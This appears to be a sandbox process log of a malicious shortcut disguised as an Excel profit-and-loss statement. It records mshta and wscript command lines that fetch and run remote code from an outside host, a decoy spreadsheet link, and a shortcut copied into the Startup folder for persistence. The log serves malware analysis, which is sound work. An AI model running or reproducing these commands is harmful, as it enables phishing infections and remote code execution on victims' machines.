cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "rBJLfVPM" "C:\Users\test22\AppData\Local\Temp\Profit and Loss Statement.xlsx.lnk"
2476cmd.exe "C:\Windows\System32\cmd.exe" /c start /b C:\Windows\System32\mshta https://share.stablemarket.org/Y5qbOQiIlBomxCjPRFzyiLSvyddx/P1xM4diDmKxL3I=
204mshta.exe C:\Windows\System32\mshta https://share.stablemarket.org/Y5qbOQiIlBomxCjPRFzyiLSvyddx/P1xM4diDmKxL3I=
2128explorer.exe "C:\Windows\System32\explorer.exe" "https://docs.google.com/spreadsheets/d/1CTWarBPpx6kQjpevxr7qeQGPenjAR_7H/edit?usp=sharing&ouid=118006626630144401406&rtpof=true&sd=true"
2692cmd.exe "C:\Windows\System32\cmd.exe" /c start /b wscript "C:\Users\test22\AppData\Local\Temp\pdgx.js" share.stablemarket.org/ 1 & start /b wscript "C:\Users\test22\AppData\Local\Temp\pdgx.js" share.stablemarket.org/ 2 & move "C:\Users\test22\AppData\Local\Temp\UserAssist.lnk" "C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
2596wscript.exe wscript "C:\Users\test22\AppData\Local\Temp\pdgx.js" share.stablemarket.org/ 1
2812wscript.exe wscript "C:\Users\test22\AppData\Local\Temp\pdgx.js" share.stablemarket.org/ 2
548explorer.exe C:\Windows\Explorer.EXE
1924